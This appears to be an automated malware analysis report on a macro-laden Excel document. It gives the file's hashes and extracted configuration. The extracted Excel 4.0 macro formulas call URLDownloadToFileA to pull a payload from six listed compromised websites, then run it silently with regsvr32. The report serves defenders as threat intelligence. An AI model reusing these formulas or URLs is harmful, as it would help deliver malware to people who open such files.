General
-
Target
db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f
-
Size
40KB
-
MD5
80d2e8881dc37f0f8690fe4fdde669c1
-
SHA1
b2dbe73df6a2497f0e7893a61cda531c92746c6c
-
SHA256
db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f
-
SHA512
30d1e4a1553952ed20c368d96c618891a875a1a84f347372860df43170ac01d700687f5b51973af436245e802802487d6c4512bb5b51f6e543fb54893d8ff64e
-
SSDEEP
768:WXomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:SomZDzylND59V4jwmXc2CVPu
Malware Config
Extracted
http://radiomedenine.com/kidfngb/h3a3D5WRS/
https://mobapkapps.com/wp-includes/JcEqRwhEw0/
https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/
https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/
https://deine-bewerbung.com/wp-content/HHotdOzCFlW/
https://wewin21.com/wp-content/NITdYcwbO3C1uJd/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f